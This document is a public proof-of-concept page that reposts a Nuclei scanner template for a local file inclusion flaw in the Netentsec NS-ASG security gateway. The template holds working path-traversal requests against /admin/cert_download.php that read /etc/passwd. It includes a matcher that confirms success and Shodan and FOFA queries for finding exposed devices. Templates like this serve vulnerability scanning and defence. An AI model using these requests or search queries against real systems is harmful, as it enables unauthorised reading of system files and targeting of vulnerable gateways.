nsasg-arbitrary-file-read: NS ASG - Local File Inclusion

2025-08-01 NS ASG PoC Public

Description

NS ASG is vulnerable to local file inclusion.

PoC

id: nsasg-arbitrary-file-read

info:
  name: NS ASG - Local File Inclusion
  author: pikpikcu,ritikchaddha
  severity: high
  description: NS ASG is vulnerable to local file inclusion.
  reference:
    - https://zhuanlan.zhihu.com/p/368054963
    - http://wiki.xypbk.com/Web安全/网康%20NS-ASG安全网关/网康%20NS-ASG安全网关%20任意文件读取漏洞.md
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-22
    cpe: cpe:2.3:h:netentsec:ns-asg:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    shodan-query: http.title:“NS-ASG”
    fofa-query: app="网康科技-NS-ASG安全网关"
    product: ns-asg
    vendor: netentsec
  tags: nsasg,lfi,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/admin/cert_download.php?file=pqpqpqpq.txt&certfile=../../../../../../../../etc/passwd"
      - "{{BaseURL}}/admin/cert_download.php?file=pqpqpqpq.txt&certfile=cert_download.php"

    stop-at-first-match: true

    matchers-condition: or
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: word
        part: body
        words:
          - "$certfile"
          - "application/pdf"
        condition: and
# digest: 490a0046304402206cc8c8582cc76a6a8a05121156e8ca684cd21fa398b486c77a6d8d7ea152b2f502205cec7c733ba88fa5d9145ab594250d1b111d7e2bf95a2221aa9baea7099d6ae9:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/vulnerabilities/other/ns-asg-file-read.yaml

References

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